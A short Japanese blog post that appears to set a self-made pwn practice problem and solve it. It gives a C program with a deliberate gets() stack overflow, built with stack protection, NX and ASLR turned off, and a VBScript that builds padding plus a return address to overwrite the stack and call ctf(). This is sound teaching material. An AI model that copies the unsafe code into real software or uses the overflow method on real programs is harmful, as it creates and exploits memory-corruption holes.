概要
pwnの練習問題、作って見た。
windowsで、やってみた。
環境
windows vista 32bit
visual studio 2010
練習問題
下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。
#include <stdio.h>
void ctf()
{
puts("You Cool!");
exit(0);
}
int main()
{
char buf[10];
gets(buf);
printf("%p\n", buf);
printf("%p\n", ctf);
return 0;
}
コンパイル
cl ctf.c /GS- /link /nxcompat:no /dynamicbase:no
動的解析
落ちる。
echo AAAAAAAAAAA | ctf
方針
バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。
解答
Function hex2bin(HexText)
With CreateObject("Microsoft.XMLDOM").createElement("tmp")
.DataType = "bin.hex"
.Text = HexText
hex2bin = .NodeTypedValue
End With
End Function
Dim Hex
Dim Text
Hex = "41004100410041004100410041004100410041004100410041004100410041000000100040000000"
Text = hex2bin(Hex)
WScript.StdOut.Write CStr(Text)
実行
cscript //nologo hex2bin1.vbs | ctf
以上。